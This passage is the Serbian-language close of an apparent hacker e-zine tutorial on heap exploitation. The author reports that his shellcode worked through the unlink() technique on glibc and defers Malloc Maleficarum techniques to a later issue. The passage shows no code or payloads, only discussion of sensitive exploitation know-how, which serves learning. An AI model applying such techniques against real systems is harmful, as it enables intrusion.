      Woah, moj ub3rl33t sh3llc0d3 radi!!! Jako cudno, ovo nebi trebalo da radi na
novijim glibc verzijama ali ocigledno radi:). Naime nisam ni mislio da ce 
unlink() tehnika da radi kod mene, opisao sam je jer je to osnova ostalih, ali 
se ispostavilo da radi.
      Tol`ko o unlink() tehnici. Nadam se da sam je dovoljno dobro objasnio. 

///////////////////////////////////////////////////////////////////////////
--==<[ 4. Odvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
      
      Ovaj tekst je ima i drugi deo. On opisuje novije tehnike dlmalloc 
eksploitacije opisane u MallocMaleficarum tekstu. Kako su tehnike prilicno 
komplikovane, a od strane mene jako jako ruzno objasnjene sumnjam da bi ih iko 
iz mog opisa skapirao. Zato sam taj deo teksta izbacio da ceka da ga doradim i 
pojasnim stvari bolje. To bolje objasnjavanje bi zahtevalo dodatna objasnjavanja 
sigurnosnih dodataka u skroijim verzijama glibca koje moram priznati ni sam 
neznam dovoljno dobro, a posto zine izlazi sutra nemam vremena da im se za tako 
kratko vreme posvetim. Naravno, za to je kriva moja lenjost i nista drugo. 
Vracam  se temi u sledecem broju. Na ovaj deo teksta gledajte kao na uvod u 
malloc eksplitaciju, kao pocetak za dalje ucenje. Bar ga ja tako vidim.
Ako neko ima nesto da mi kaze, bilo sta, ima moj mail i nek slobodno pise, a 
moze i povremeno da me nadje na irc.pulltheplug.org kanal #social. 


      Anywayz, tol`ko od mene za ovaj put.




